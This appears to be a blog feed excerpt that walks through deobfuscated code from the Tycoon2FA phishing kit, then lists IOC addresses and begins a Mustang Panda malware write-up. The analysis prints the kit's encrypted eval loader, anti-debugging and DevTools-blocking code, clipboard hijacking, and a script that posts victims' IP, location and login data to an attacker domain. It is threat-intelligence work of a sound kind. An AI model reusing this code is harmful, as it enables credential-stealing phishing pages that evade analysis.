Routine and Anti-Analysis UjBpjGaycy = [ ...[114, 112].map(YZgLDUCFEh =&amp;gt; String.fromCharCode(YZgLDUCFEh)), String.fromCharCode(67), String.fromCharCode(121), String.fromCharCode(116), String.fromCharCode(111), String.fromCharCode(74), String.fromCharCode(83) ]; // UjBpjGaycy = [&apos;r&apos;, &apos;p&apos;, &apos;C&apos;, &apos;y&apos;, &apos;t&apos;, &apos;o&apos;, &apos;J&apos;, &apos;S&apos;] ZzKiBWTICw = [ UjBpjGaycy[2], // &apos;C&apos; UjBpjGaycy[0], // &apos;r&apos; UjBpjGaycy[3], // &apos;y&apos; UjBpjGaycy[1], // &apos;p&apos; UjBpjGaycy[4], // &apos;t&apos; UjBpjGaycy[5], // &apos;o&apos; UjBpjGaycy[6], // &apos;J&apos; UjBpjGaycy[7] // &apos;S&apos; ].join(&apos;&apos;); // ZzKiBWTICw = &quot;CryptoJS&quot; Dynamically constructing string “CryptoJs” to avoid static detection htPOSCUJJB = globalThis[ZzKiBWTICw]; // htPOSCUJJB is now the CryptoJS object and then script accessing CryptoJS library in global scope, var yofQrrnXHZ = htPOSCUJJB.enc.Base64.parse(KmYDStqAUf); // key var cgSjYSUtqZ = htPOSCUJJB.enc.Base64.parse(QfPcobweVK); // IV + ciphertext Converting the base64 strings into binary data usable by CryptoJS. var jjCuOPmkZm = htPOSCUJJB.lib.WordArray.create(cgSjYSUtqZ.words.slice(0, 4), 16); // IV (16 bytes) var IUEAQeJbbN = htPOSCUJJB.lib.WordArray.create( cgSjYSUtqZ.words.slice(4), cgSjYSUtqZ.sigBytes - 16 ); // ciphertext The first 16 bytes of the decoded data are the IV. The rest is the encrypted payload. var jAeRNWFTRc = htPOSCUJJB.AES.decrypt( { ciphertext: IUEAQeJbbN }, yofQrrnXHZ, { iv: jjCuOPmkZm, mode: htPOSCUJJB.mode.CBC, padding: htPOSCUJJB.pad.Pkcs7 } ); Uses AES decryption in CBC mode with PKCS7 padding. Key: yofQrrnXHZ IV: jjCuOPmkZm Ciphertext: IUEAQeJbbN var uXUrEWQiOC = jAeRNWFTRc.toString(htPOSCUJJB.enc.Utf8); The decrypted payload is then converted to a string. (() =&amp;gt; { const eQtKbRsGby = uXUrEWQiOC; const cyOvjxuVfk = (typeof window !== &apos;undefined&apos; ? window : typeof global !== &apos;undefined&apos; ? global : typeof self !== &apos;undefined&apos; ? self : {}); const oEvmbrlUdG = [101, 118, 97, 108].map(FwgweoUprb =&amp;gt; String.fromCharCode(FwgweoUprb)).join(&apos;&apos;); // &quot;eval&quot; const jSYgmYMWcC = [99, 111, 110, 115, 111, 108, 101].map(FELOOzfhHO =&amp;gt; String.fromCharCode(FELOOzfhHO)).join(&apos;&apos;); // &quot;console&quot; if (cyOvjxuVfk[jSYgmYMWcC]) cyOvjxuVfk[jSYgmYMWcC][[108, 111, 103].map(XjJoNpTCny =&amp;gt; String.fromCharCode(XjJoNpTCny)).join(&apos;&apos;)]; cyOvjxuVfk[oEvmbrlUdG](eQtKbRsGby); })(); Dynamically constructs “eval” and executes the decrypted payload. The decrypted code runs in the global context. So far, the script hides its real malicious code encrypted inside a large Base64 string. It then decrypts this code at runtime using AES-CBC with a key and IV embedded in the script. The decrypted code is then executed dynamically via eval. This technique evades static detection and hides the payload until execution. Clipboard Hijacking document.addEventListener(&apos;copy&apos;, function(event) { // Check if the active element is an input, textarea, or contenteditable if (document.activeElement.tagName === &apos;INPUT&apos; || document.activeElement.tagName === &apos;TEXTAREA&apos; || document.activeElement.isContentEditable) { return; // Allow normal copy inside editable areas } event.preventDefault(); // Stop the default copy action var customWord = &quot;pico&quot;; // The string to replace clipboard content // Set the clipboard data to &quot;pico&quot; event.clipboardData.setData(&apos;text/plain&apos;, customWord); }); The script listens for user copy events and replaces the clipboard content with a fixed string “pico” unless the copy happens inside editable fields. Event listener on copy: triggers whenever the user copies something on the page. Editable check: If the user is copying inside an input box, textarea, or contenteditable element, the script does nothing and lets the copy proceed normally. Otherwise: It cancels the default copy behavior. It sets the clipboard content to the fixed string “pico”. Now lets see what unholy code the adversary is trying to hide First 16 bytes are the IV. Using the Base64 encoded key and the IV we extracted above, we can AES decrypt the payload. Anti-Debugging and Anti-Analysis blob (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes(&quot;Burp&quot;)) { window.location = &quot;about:blank&quot;; } document.addEventListener(&quot;keydown&quot;, function (event) { function syyt(event) { const agib = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: true, keyCode: 74 }, { ctrl: true, shift: true, keyCode: 75 }, { ctrl: true, keyCode: 72 }, // Ctrl + H { meta: true, alt: true, keyCode: 73 }, { meta: true, alt: true, keyCode: 67 }, { meta: true, keyCode: 85 } ]; return agib.some(nspa =&amp;gt; (!nspa.ctrl || event.ctrlKey) &amp;amp;&amp;amp; (!nspa.shift || event.shiftKey) &amp;amp;&amp;amp; (!nspa.meta || event.metaKey) &amp;amp;&amp;amp; (!nspa.alt || event.altKey) &amp;amp;&amp;amp; event.keyCode === nspa.keyCode ); } if (syyt(event)) { event.preventDefault(); return false; } }); document.addEventListener(&apos;contextmenu&apos;, function(event) { event.preventDefault(); return false; }); nwax = false; (function caxv() { let ftfs = false; const time = 100; setInterval(function() { const gwix = performance.now(); debugger; const gpgg = performance.now(); if (gpgg - gwix &amp;gt; time &amp;amp;&amp;amp; !ftfs) { nwax = true; ftfs = true; window.location.replace(&apos;https://www.etsy.com&apos;); } }, 100); })(); This is the function blob/snippet which was kept encrypted and obfuscated all this time, the entire purpose of which is to power the Anti-Analysis measures for the phishing page. Let’s unpack it one by one - Automation/Headless Browser Detection (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes(&quot;Burp&quot;)) { window.location = &quot;about:blank&quot;; } This checks if the browser is automated or being inspected by tools like PhantomJS (window.callPhantom, window._phantom), or Burp Suite (userAgent.includes(&quot;Burp&quot;)). If detected, it redirects the page to a blank page (about:blank). Keyboard Shortcut Blocking document.addEventListener(&quot;keydown&quot;, function (event) { // Checks for keys like F12, Ctrl+Shift+I, Ctrl+U, etc. if (syyt(event)) { event.preventDefault(); return false; } }); Prevents users from opening developer tools or viewing source code by disabling common shortcuts: F12 (DevTools), Ctrl+Shift+I (DevTools), Ctrl+U (View Source), Ctrl+Shift+C (Inspect Element), Ctrl+Shift+J (Console), Ctrl+H (History) and Meta+Alt+I/C (Mac equivalents). Context Menu Blocking document.addEventListener(&apos;contextmenu&apos;, function(event) { event.preventDefault(); return false; }); Disables right-click context menu and prevents us from easily accessing options like “Inspect” or “View Source,” further obstructing analysis. Active Debugger Detection and Redirect (function caxv() { let ftfs = false; const txhg = 100; setInterval(function() { const gwix = performance.now(); debugger; const gpgg = performance.now(); if (gpgg - gwix &amp;gt; txhg &amp;amp;&amp;amp; !ftfs) { nwax = true; ftfs = true; window.location.replace(&apos;https://www.etsy.com&apos;); } }, 100); })(); This repeatedly runs a debugger statement inside a timer and measures the delay caused by the debugger pausing execution. If the delay exceeds 100 ms (likely due to a breakpoint or debugging), it redirects the user to https://www.etsy.com. Analyzing 2nd function snippet Previously, In the same script, we analyzed its 1st function snippet, now its time to look into the 2nd one - Execution, decryption and Anti-analysis logic remains the same, with minor differences in the AES-encrypted Base64 string being split up into multiple variables. After the decryption ritual is performed, we can observe the inner workings of the content, which is same as the 1st function snippet, with couple of notable differences at the end. In the side by side comparison, at the very end we can see changes in the loading of document as follows - // From 1st function snippet document.addEventListener(&apos;copy&apos;, function(event) { if (document.activeElement.tagName === &apos;INPUT&apos; || document.activeElement.tagName === &apos;TEXTAREA&apos; || document.activeElement.isContentEditable) { return; } event.preventDefault(); var customWord = &quot;pico&quot;; event.clipboardData.setData(&apos;text/plain&apos;, customWord); }); // 2nd function snippet mdqg = atob; wjuf = mdqg(`Base64_encoded_HTML_PAGE_CONTENT==`); document.write(wjuf); mdqg = atob; assigns the built-in base64 decoder. wjuf = mdqg(“Base64_encoded_HTML_PAGE_CONTENT==”); decodes another base64 string. document.write(wjuf); writes the decoded content directly into the HTML document. Here, it dynamically injects/replaces the entire page with the decrypted content. 2nd HTML Wrapper The Base64 encoded string, which was depicted earlier as - Base64_encoded_HTML_PAGE_CONTENT== in the variable wjuf is an entire HTML page in itself, which gets injected, on top of that (and most importantly), that HTML page has its own set of function snippets/blob with same nomenclature, obfuscation and encryption routine, with some variation. Visual assets include login form attributes and images/gifs for mimicking 0365 login page. The first function blob is exactly the same as we saw earlier. The 2nd function blob has some differences. As you can observe, the key is also different. After AES decryption we get - var otherweburl = &quot;&quot;; var websitenames = [&quot;godaddy&quot;, &quot;okta&quot;]; var bes = [&quot;Apple.com&quot;,&quot;Netflix.com&quot;]; var pes = [&quot;https:\/\/t.me\/&quot;,&quot;https:\/\/t.com\/&quot;,&quot;t.me\/&quot;,&quot;https:\/\/t.me.com\/&quot;,&quot;t.me.com\/&quot;,&quot;t.me@&quot;,&quot;https:\/\/t.me@&quot;,&quot;https:\/\/t.me&quot;,&quot;https:\/\/t.com&quot;,&quot;t.me&quot;,&quot;https:\/\/t.me.com&quot;,&quot;t.me.com&quot;,&quot;t.me\/@&quot;,&quot;https:\/\/t.me\/@&quot;,&quot;https:\/\/t.me@\/&quot;,&quot;t.me@\/&quot;,&quot;https:\/\/www.telegram.me\/&quot;,&quot;https:\/\/www.telegram.me&quot;]; var capnum = 1; var appnum = 1; var pvn = 0; var view = &quot;&quot;; var pagelinkval = &quot;DYP69&quot;; var emailcheck = &quot;jon.doe@target.com&quot;; var webname = &quot;rtrim(/web9/, &apos;/&apos;)&quot;; var urlo = &quot;/emb8kD0RTbyoICDCtpBvPcikTu8AQYQ7s9ISvjPeyUkKmaDS6yyJ0Hs5UOnb&quot;; var gdf = &quot;/ij6XWH6LKuAiS9LLyggKewJrmywxM9aNYhf0G5GQoab120&quot;; var odf = &quot;/ijj0e57If25ZKU40GtCG7H8EuvNCDfgFofGtqHTrwdqcd646&quot;; var twa = 0; var currentreq = null; var requestsent = false; var pagedata = &quot;&quot;; var redirecturl = &quot;https://login.microsoftonline.com/common/SAS/ProcessAuth&quot;; var userAgent = navigator.userAgent; var browserName; var userip; var usercountry; var errorcodeexecuted = false; if(userAgent.match(/edg/i)){ browserName = &quot;Edge&quot;; } else if(userAgent.match(/chrome|chromium|crios/i)){ browserName = &quot;chrome&quot;; } else if(userAgent.match(/firefox|fxios/i)){ browserName = &quot;firefox&quot;; } else if(userAgent.match(/safari/i)){ browserName = &quot;safari&quot;; } else if(userAgent.match(/opr\//i)){ browserName = &quot;opera&quot;; } else{ browserName=&quot;No browser detection&quot;; } function removespaces(input) { input.value = input.value.replace(/\s+/g, &apos;&apos;); // Removes all spaces } // function sendlive(statusval) { $.ajax({ type: &quot;POST&quot;, url: urlo, data: stringToBinary(encryptData(JSON.stringify({ pagelink: pagelinkval, type: statusval, ip: userip, country: usercountry, useragent: userAgent, appnum: appnum }))), success: function(response) { }, error: function(xhr, status, error) { console.error(&quot;Error:&quot;, error); } }); } $.get(&quot;https://get.geojs.io/v1/ip/geo.json&quot;, function(response) { userip = response.ip; usercountry = response.country; sendlive(13); }, &quot;json&quot;).fail(function(jqXHR, textStatus, errorThrown) { if (jqXHR.status === 429 || textStatus !== &quot;success&quot;) { setTimeout(sendemailrequestzero, 1000); } }); // function encryptData(data) { const key = CryptoJS.enc.Utf8.parse(&apos;1234567890123456&apos;); const iv = CryptoJS.enc.Utf8.parse(&apos;1234567890123456&apos;); const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return encrypted.toString(); } function stringToBinary(input) { const zeroReplacement = &apos;0&apos;; const oneReplacement = &apos;1&apos;; return btoa(input .split(&apos;&apos;) .map(char =&amp;gt; { let binary = char.charCodeAt(0).toString(2); binary = binary.padStart(8, &apos;0&apos;); return binary .split(&apos;&apos;) .map(bit =&amp;gt; (bit === &apos;0&apos; ? zeroReplacement : oneReplacement)) .join(&apos;&apos;); }) .join(&apos; &apos;)); } function decryptData(encryptedData) { const key = CryptoJS.enc.Utf8.parse(&apos;1234567890123456&apos;); const iv = CryptoJS.enc.Utf8.parse(&apos;1234567890123456&apos;); const decrypted = CryptoJS.AES.decrypt(encryptedData, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return decrypted.toString(CryptoJS.enc.Utf8); } var sendAndReceive = (route, args, getresponse) =&amp;gt; { if(requestsent == true &amp;amp;&amp;amp; route !== &quot;twofaselect&quot;){ return new Promise((resolve, reject) =&amp;gt; { return resolve({message: &quot;waiting for previous request to complete&quot;}); }); } if(requestsent == false || route == &quot;twofaselect&quot;){ requestsent = true; let routename = null; let randpattern = null; if(route == &quot;checkemail&quot;){ randpattern = /(pq|rs)[A-Za-z0-9]{6,18}(yz|12|34)[A-Za-z0-9]{2,7}(uv|wx)(3[1-9]|40)/gm; } if(route == &quot;checkpass&quot;){ randpattern = /(yz|12)[A-Za-z0-9]{7,14}(56|78)[A-Za-z0-9]{3,8}(op|qr)(4[1-9]|50)/gm; } if(route == &quot;twofaselect&quot;){ randpattern = /(56|78|90)[A-Za-z0-9]{8,16}(23|45|67)[A-Za-z0-9]{4,9}(st|uv)(5[1-9]|60)/gm; } if(route == &quot;twofaselected&quot;){ randpattern = /(23|45)[A-Za-z0-9]{9,20}(89|90|ab)[A-Za-z0-9]{5,10}(vw|xy)(6[1-9]|70)/gm; if(currentreq){ currentreq.abort(); } } let randexp = new RandExp(randpattern); let randroute = randexp.gen(); let formattedargs = 0; if(route == &quot;checkemail&quot;){ formattedargs = args.map(item =&amp;gt; &apos;/&apos;+item).join(&apos;&apos;)+&apos;/&apos;+appnum+&apos;/&apos;+getresponse; } if(route !== &quot;checkemail&quot;){ formattedargs = &apos;/&apos;+token+args.map(item =&amp;gt; &apos;/&apos;+item).join(&apos;&apos;)+&apos;/&apos;+getresponse; } // console.log(formattedargs); let encrypteddata = encryptData(formattedargs); const makeRequest = (retryCount) =&amp;gt; { return new Promise((resolve, reject) =&amp;gt; { currentreq = $.ajax({ url: &apos;https://tY4DcmhfxyvBeibKJzrU9J05C33QimmcWlZlOgGnlSNc67A3rd.eojlpggwfnp.es/MvEtdZQnVyaBYuLpGDrtzjoNzsYWRLMJWVWKROTPFXTJSGHNFEPQRP&apos; + randroute, type: &apos;POST&apos;, data: {data: encrypteddata}, success: function(response) { if (response.message == &quot;Token Not Found&quot; &amp;amp;&amp;amp; retryCount &amp;lt; 3) { console.log(&apos;data: &apos;+formattedargs); setTimeout(function(){ resolve(makeRequest(retryCount + 1)); }, 3000); } if (response.message == &quot;Missing Value&quot;) { resolve(&apos;missing value&apos;); } if (response.message !== &quot;Token Not Found&quot;) { let decryptedresp = JSON.parse(decryptData(response)); if(route !== &quot;twofaselected&quot;){ if (decryptedresp.token) { token = decryptedresp.token; } } if (decryptedresp.message == &quot;Token Not Found&quot; &amp;amp;&amp;amp; retryCount &amp;lt; 3) { console.log(&apos;data: &apos;+formattedargs); setTimeout(function(){ resolve(makeRequest(retryCount + 1)); }, 3000); } else { // console.log(decryptedresp); requestsent = false; resolve(decryptedresp); } } }, error: function(xhr, status, error) { requestsent = false; console.error(&apos;Error:&apos;, error); reject(error); } }); }); }; return makeRequest(0); } }; function bottomsectionlinks(sectionname,array) { const bottomsection = document.getElementById(&apos;section_&apos;+sectionname).querySelector(&apos;.bottomsection&apos;); bottomsection.innerHTML = &apos;&apos;; array.forEach(item =&amp;gt; { if (item.type === &apos;text_link&apos;) { const textWithLink = document.createElement(&apos;p&apos;); textWithLink.classList.add(&apos;mb-16&apos;); textWithLink.innerHTML = `${item.text} &amp;lt;a href=&quot;javascript:void(0)&quot; data-id=&quot;`+item.a_id+`&quot; onclick=&quot;linkoptionclick(this)&quot; class=&quot;link&quot;&amp;gt;${item.a_text}&amp;lt;/a&amp;gt;`; bottomsection.appendChild(textWithLink); } else if (item.type === &apos;link_text&apos;) { const linkwithText = document.createElement(&apos;a&apos;); linkwithText.classList.add(&apos;link&apos;, &apos;mb-16&apos;); linkwithText.setAttribute(&apos;data-id&apos;, item.a_id); linkwithText.setAttribute(&apos;onclick&apos;, &apos;linkoptionclick(this)&apos;); linkwithText.textContent = item.a_text; bottomsection.appendChild(linkwithText); const paragraph = document.createElement(&apos;p&apos;); paragraph.textContent = item.text; bottomsection.appendChild(paragraph) } else if (item.type === &apos;link&apos;) { const linkOnly = document.createElement(&apos;a&apos;); linkOnly.classList.add(&apos;link&apos;,&apos;mb-16&apos;); linkOnly.setAttribute(&quot;data-id&quot;, item.a_id); linkOnly.setAttribute(&quot;onclick&quot;, &quot;linkoptionclick(this)&quot;); linkOnly.textContent = item.a_text; linkOnly.href = &apos;#&apos;; bottomsection.appendChild(linkOnly); } else if (item.type === &apos;text&apos;) { const textOnly = document.createElement(&apos;p&apos;); textOnly.classList.add(&apos;mb-16&apos;); textOnly.textContent = item.text; bottomsection.appendChild(textOnly); } }); } var disconnecttimer; var showwedidnthearpopup = 0; function startdisconnecttimer(){ if(document.getElementById(&apos;section_tryagainlater&apos;).classList.contains(&apos;d-none&apos;)){ disconnecttimer = setTimeout(function() { setTimeout(function(){ document.getElementById(&apos;section_&apos;+view).querySelector(&apos;.loading-container&apos;).classList.remove(&apos;loading&apos;); document.getElementById(&apos;section_&apos;+view).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;hide-to-left 0.5s&apos;; setTimeout(function(){ document.getElementById(&apos;section_&apos;+view).classList.toggle(&apos;d-none&apos;); document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;#tryagainheader&apos;).style.display = &quot;block&quot;; document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;#tryagain_withoutinternet&apos;).style.display = &quot;block&quot;; document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;show-from-right 0.5s&apos;; document.getElementById(&apos;section_tryagainlater&apos;).classList.remove(&apos;d-none&apos;); }, 200); }, 500); view = &quot;tryagainlater&quot;; }, 40000); } } function moreinforeq(){ showwedidnthearpopup = 0; if(document.getElementById(&apos;section_tryagainlater&apos;).classList.contains(&apos;d-none&apos;)){ document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;.title&apos;).innerText = &quot;More Information Required&quot;; setTimeout(function(){ document.getElementById(&apos;section_&apos;+view).querySelector(&apos;.loading-container&apos;).classList.remove(&apos;loading&apos;); document.getElementById(&apos;section_&apos;+view).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;hide-to-left 0.5s&apos;; setTimeout(function(){ document.getElementById(&apos;section_&apos;+view).classList.toggle(&apos;d-none&apos;); document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;#tryagainheader&apos;).style.display = &quot;block&quot;; document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;#tryagain_moreinfo&apos;).style.display = &quot;block&quot;; document.getElementById(&apos;section_tryagainlater&apos;).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;show-from-right 0.5s&apos;; document.getElementById(&apos;section_tryagainlater&apos;).classList.remove(&apos;d-none&apos;); }, 200); }, 500); } view = &quot;tryagainlater&quot;; } // document.addEventListener(&quot;DOMContentLoaded&quot;, () =&amp;gt; { if(twa == 0){ setTimeout(function(){ setTimeout(function(){ document.getElementById(&apos;section_tryingtosignin&apos;).querySelector(&apos;.loading-container&apos;).classList.remove(&apos;loading&apos;); document.getElementById(&apos;section_tryingtosignin&apos;).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;hide-to-left 0.5s&apos;; setTimeout(function(){ document.getElementById(&quot;section_tryingtosignin&quot;).classList.toggle(&apos;d-none&apos;); if (!document.getElementById(&apos;sections_doc&apos;) &amp;amp;&amp;amp; !document.getElementById(&apos;sections_pdf&apos;)){ document.title = &quot;Profile Security Sign-In&quot;; if (document.getElementById(&apos;out2-logo&apos;)){ document.getElementById(&apos;out2-logo&apos;).style.display = &apos;block&apos;; } document.getElementById(&apos;section_uname&apos;).querySelector(&apos;.sectioncontent&apos;).style.animation = &apos;show-from-right 0.5s&apos;; document.getElementById(&apos;section_uname&apos;).classList.remove(&apos;d-none&apos;); } }, 200); }, 500); if (document.getElementById(&apos;sections_pdf&apos;)){ setTimeout(function(){ document.title = &quot;Profile Security Sign-In&quot;; document.getElementById(&apos;sections_pdf&apos;).querySelector(&apos;#mainLoader&apos;).style.display = &quot;none&quot;; document.getElementById(&apos;sections_pdf&apos;).querySelector(&apos;#section_uname_content&apos;).classList.remove(&apos;d-none&apos;); }, 1000); } if (document.getElementById(&apos;sections_doc&apos;)){ setTimeout(function(){ document.title = &quot;Profile Security Sign-In&quot;; }, 1000); } }, 1000); } if(twa == 1){ document.getElementById(&apos;section_tryingtosignin&apos;).querySelector(&apos;.loading-container&apos;).classList.remove(&apos;loading&apos;); document.getElementById(&quot;section_tryingtosignin&quot;).classList.toggle(&apos;d-none&apos;); document.title = &quot;Profile Security Sign-In&quot;; document.getElementById(&apos;section_uname&apos;).classList.remove(&apos;d-none&apos;); } if(twa == 2){ document.title = &quot;Profile Security Sign-In&quot;; } // }); let emailinputele = false; function tryfindingele(email) { if (view == &quot;uname&quot;) { let emailinputcheck = document.getElementById(&quot;inp_uname&quot;); let emailsectionelecheck = document.getElementById(&quot;section_uname&quot;); if (emailinputcheck &amp;amp;&amp;amp; !emailsectionelecheck.classList.contains(&quot;d-none&quot;)) { emailinputcheck.value = email; document.getElementById(&apos;section_uname&apos;).querySelector(&quot;#btn_next&quot;).click(); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else if (view == &quot;uname_pdf&quot;) { let emailinputcheck = document.getElementById(&quot;pdfemail&quot;); let emailsectionelecheck = document.getElementById(&quot;section_uname_content&quot;); if (emailinputcheck &amp;amp;&amp;amp; !emailsectionelecheck.classList.contains(&quot;d-none&quot;)) { emailinputcheck.value = email; setTimeout(function() { document.getElementById(&apos;section_uname_pdf&apos;).querySelector(&quot;#btn_next_pdf&quot;).click(); }, 2000); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else if (view == &quot;uname_doc&quot;) { let emailinputcheck = document.getElementById(&quot;docemail&quot;); let emailsectionelecheck = document.getElementById(&quot;section_uname_content&quot;); if (emailinputcheck &amp;amp;&amp;amp; !emailsectionelecheck.classList.contains(&quot;d-none&quot;)) { emailinputcheck.value = email; setTimeout(function() { document.getElementById(&apos;section_uname_doc&apos;).querySelector(&quot;#btn_next_doc&quot;).click(); }, 2000); emailinputele = true; } else { setTimeout(function() { tryfindingele(email); }, 1000); } } else { setTimeout(function() { tryfindingele(email); }, 1000); } } if (typeof emailcheck !== &apos;undefined&apos; &amp;amp;&amp;amp; emailcheck !== null &amp;amp;&amp;amp; emailcheck !== &quot;0&quot;) { tryfindingele(emailcheck); } Its very upfront and clear with user session, data and “experience” handling, so here’s the table for key utilities - Feature Code Reference Phishing Purpose Targeted brand/URL lists websitenames, bes, pes Guide phishing content to mimic trusted brands Browser detection navigator.userAgent check Tailor phishing experience per browser Geo IP collection $.get(“https://get.geojs.io/…”) Collect victim location info Data encryption &amp;amp; encoding encryptData(), stringToBinary() Hide exfiltrated data from detection Data exfiltration sendlive(), AJAX POST to urlo Send victim info to attacker server Randomized request URLs sendAndReceive() with RandExp Evade URL-based detection UI flow control Section show/hide with animations Simulate legitimate login UI Auto-fill email input tryfindingele() Speed up credential capture Error handling &amp;amp; retry startdisconnecttimer(), AJAX retries Keep victim engaged, simulate real errors Indicators of Compromise (IOCs) IP Addresses 106[.]153[.]226[.]33 106[.]153[.]226[.]34 106[.]153[.]226[.]38 106[.]153[.]226[.]42 106[.]153[.]227[.]117 106[.]153[.]227[.]35 106[.]153[.]227[.]36 106[.]153[.]227[.]39 106[.]153[.]227[.]41 106[.]153[.]227[.]42 120[.]137[.]171[.]108 120[.]137[.]171[.]109 120[.]137[.]171[.]110 120[.]137[.]171[.]111 120[.]137[.]171[.]70 120[.]137[.]171[.]71 133[.]18[.]188[.]244 133[.]18[.]189[.]51 133[.]18[.]39[.]116 133[.]186[.]39[.]48 133[.]186[.]39[.]50 133[.]186[.]39[.]52 133[.]186[.]39[.]53 133[.]186[.]39[.]54 139[.]28[.]36[.]230 139[.]28[.]38[.]90 150[.]60[.]159[.]5 150[.]60[.]169[.]253 150[.]60[.]232[.]68 153[.]127[.]230[.]102 153[.]127[.]230[.]136 153[.]127[.]230[.]81 153[.]127[.]234[.]174 153[.]127[.]234[.]19 153[.]127[.]234[.]3 153[.]127[.]234[.]4 153[.]127[.]234[.]5 158[.]199[.]221[.]240 182[.]48[.]49[.]208 203[.]142[.]206[.]254 210[.]134[.]58[.]152 210[.]224[.]185[.]211 219[.]94[.]155[.]74 27[.]121[.]5[.]172 27[.]121[.]5[.]173 27[.]121[.]5[.]174 27[.]121[.]5[.]175 27[.]121[.]5[.]176 27[.]121[.]5[.]177 27[.]121[.]5[.]178 27[.]121[.]5[.]179 49[.]212[.]235[.]231 51[.]89[.]55[.]195 59[.]106[.]171[.]67 59[.]84[.]175[.]232 59[.]84[.]175[.]233 Tycoon2FA is still active and utilizing these sophisticated TTPs for enterprise phishing. So far, the user data handling, rendering the landing page and the Anti-Anaysis feature, all of them were obfuscated and encrypted in 3 different pages in multiple stages, which makes analysis difficult. Previous research from trustwave shows how they did obfuscation using Invisible unicode characters and proxies, and much more. References - Tycoon2FA New Evasion Technique for 2025 PhaaS the Secrets: The Hidden Ties Between Tycoon2FA and Dadsec’s Operations One thing I know for sure is that Tycoon2FA’s Phishing kit is evolving fast with time, in the last 4 months itself I have observed over 4 variants of the kits. Further, there are no more packaging of HTML content beyond what we saw already, encrypted or obfuscated, so we should call it a day here. Thank you so much for sticking this far. As a Red Teamer, analyzing threat actor’s malware and phishing campaigns is fruitful, we gain insights into what’s being effective, and of course for the TTPs. If you are interested to emulate a similar kind of phishing operation in your environment, I would highly recommend checking the Offensive Phishing Course - Maldev Academy. The syllabus is comprehensive and goes over multiple Anti-Analysis techniques, I hope to bring a detailed review of this course some time later. If you have any questions or need personal guidance then feel free to contact me here Thanks for spending your time and giving it a read.</summary></entry><entry><title type="html">Analyzing APT Mustang Panda’s Latest DLL Sideloading Tactics &amp;amp; Malware Campaign</title><link href="http://localhost:8001/apt-mustang-panda-malware-campaign" rel="alternate" type="text/html" title="Analyzing APT Mustang Panda’s Latest DLL Sideloading Tactics &amp;amp; Malware Campaign" /><published>2025-06-19T00:00:00+00:00</published><updated>2025-06-19T00:00:00+00:00</updated><id>http://localhost:8001/APT-Mustang-Panda-Malware-Campaign</id><content type="html" xml:base="http://localhost:8001/apt-mustang-panda-malware-campaign">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Brief Introduction &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Mustang Panda (the adversary), a prolific China-aligned cyber espionage group, remains a significant threat in 2025, actively pursuing intelligence gathering operations against governmental, military, and non-governmental organizations. Recent campaigns show a continued focus on targets across Europe and East Asia, with a particular emphasis on entities in Myanmar. The group’s operations are consistently characterized by their signature technique of DLL sideloading, leveraging lures themed as official documents to trick victims into initiating a multi-stage infection process via spear-phishing.&lt;/p&gt;

&lt;p&gt;Demonstrating a clear commitment to evading modern defenses, Mustang Panda has recently upgraded its toolkit to enhance stealth and bypass endpoint security. This includes deploying updated variants of their primary &lt;a href=&quot;https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1&quot;&gt;TONESHELL&lt;/a&gt; backdoor and introducing new specialized tools for lateral movement and keylogging. Most notably, the development of the &lt;a href=&quot;https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-paklog-corklog-and-splatcloak-p2&quot;&gt;SplatCloak driver&lt;/a&gt;, designed specifically to disable EDR products, underscores their adaptive nature and solidifies their status as a sophisticated and evolving threat actor in the global cybersecurity landscape.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Assets and Indicators of Compromise &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Let’s begin our Investigation with couple of IOCs related to Mustang Panda’s latest malware campaign against government &amp;amp; security agencies in Southeast Asia with the Lightpipe payload.&lt;/p&gt;

&lt;h3 id=&quot;indicators-of-compromise-iocs&quot;&gt;Indicators of Compromise (IOCs)&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Assets&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Hash/IP/Files&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Link&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;(The_Military_Balance_2025).zip&lt;/strong&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6d8889f113cdfa27bc76a59c788d6a17&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/c49c686c26845b9ef0913642caff101783663787579fa4432ec4740c8c685e45/details&quot;&gt;VT Link&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;AS 9381 (HKBN Enterprise Solutions HK Limited)&lt;/strong&gt;&lt;/td&gt;
